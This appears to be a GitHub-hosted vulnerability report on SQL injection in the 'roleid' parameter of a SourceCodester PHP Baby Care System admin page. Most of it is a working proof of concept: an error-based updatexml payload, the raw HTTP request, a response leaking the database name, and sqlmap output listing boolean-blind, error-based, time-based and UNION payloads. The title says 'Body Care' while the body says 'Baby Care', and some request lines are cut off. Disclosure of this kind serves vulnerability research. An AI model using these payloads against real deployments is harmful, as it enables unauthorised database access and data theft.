debug601 Create SQLi-7.md History

1 contributor

48 lines (37 sloc) | 2.42 KB

Body Care System has SQL injection vulnerability

vendor: https://www.sourcecodester.com/php/14622/baby-care-system-phpmysqli-full-source-code.html

Vulnerability file: /BabyCare/admin/pagerole.php&action=edit&roleid=

```
<tr class="">
    <td>#<?php echo $i; ?></td>
    <td><?php echo $result['name']; ?></td>
    <td><img src="assets/img/portfolio/<?php echo $result['image']; ?>" alt="no-image" class="img-thumbnail" style="width:100px; height:60px;"></td>
    <td>
    <?php if($result['status'] == 1){ ?>
        <a href="admin.php?id=pagerole&action=display&value=<?php echo $result['status']; ?>&roleid=<?php echo $result['id']; ?>" type="button" class="btn btn-success">Hide</a>
        <a href="admin.php?id=pagerole&action=edit&roleid=<?php echo $result['id']; ?>" type="button" class="btn btn-warning">Edit</a>
        <a onclick="return confirm('Are you sure to Delete !');" href="admin.php?id=pagerole&action=delete&roleid=<?php echo $result['id']; ?>&image=<?php echo $result['image']; ?>
    <?php }else{ ?>
        <a href="admin.php?id=pagerole&action=display&value=<?php echo $result['status']; ?>&roleid=<?php echo $result['id']; ?>" type="button" class="btn btn-default">Show</a>
        <a href="admin.php?id=pagerole&action=edit&roleid=<?php echo $result['id']; ?>" type="button" class="btn btn-warning">Edit</a>
        <a onclick="return confirm('Are you sure to Delete !');" href="admin.php?id=pagerole&action=delete&roleid=<?php echo $result['id']; ?>&image=<?php echo $result['image']; ?>
    <?php } ?>

    </td>
</tr>
```

Vulnerability location: /BabyCare/admin.php?id=pagerole&action=edit&roleid= //postid is Injection point

[+]Payload: /BabyCare/admin.php?id=pagerole&action=edit&roleid=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),2)--+ //roleid is Injection point

```
GET /BabyCare/admin.php?id=pagerole&action=edit&roleid=1%27%20and%20updatexml(1,conc
Host: 192.168.1.19
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=h48mjnelp4g093582112k3g5ne
Connection: close
```

```
GET
/BabyCare/admin.php?id=pagerole&action=edi
t&roleid=1%27%20and%20updatexml(1,concat(0
x7e,(select%20database()),0x7e),2)--+
HTTP/1.1
Host: 192.168.1.19
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/99.0.4844.84
Safari/537.36
Accept:
text/html,application/xhtml+xml,application
/xml;q=0.9,image/avif,image/webp,image/apn
g,*/*;q=0.8,application/signed-exchange;v=
```

```
<li><a
href="admin.php?id=posts">Posts<
/a></li><br/>


                                </ul>

</div><!--/.nav-collapse -->
                            </div>
                        </div>

1' and
updatexml(1,concat(0x7e,(selec
t database()),0x7e),2)-- edit
XPATH syntax error:
'~sourcecodester_babycare~'27
```

```
---
Parameter: roleid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=pagerole&action=edit&roleid=1' AND 3500=3500 AND 'WSTQ'='WSTQ

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: id=pagerole&action=edit&roleid=1' AND (SELECT 1894 FROM(SELECT COUNT(*)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=pagerole&action=edit&roleid=1' AND (SELECT 1574 FROM (SELECT(SLEEP(5

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: id=pagerole&action=edit&roleid=-1597' UNION ALL SELECT NULL,CONCAT(0x71
---
```

```
---
Parameter: roleid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=pagerole&action=edit&roleid=1' AND 3500=3500 AND 'WSTQ'='WSTQ

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=pagerole&action=edit&roleid=1' AND (SELECT 1894 FROM(SELECT COUNT(*),CONCAT(0x71766a6a71,(SELECT (ELT(1894=1894,1))),0x71717a7671,FLOOR(RAND(
0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'RNhF'='RNhF

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=pagerole&action=edit&roleid=1' AND (SELECT 1574 FROM (SELECT(SLEEP(5)))ajLi) AND 'Muhu'='Muhu

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: id=pagerole&action=edit&roleid=-1597' UNION ALL SELECT NULL,CONCAT(0x71766a6a71,0x43596647727573766d505568646d54524c656f76624861765845474c474579
72487242546624363,0x71717a7671),NULL,NULL-- -
```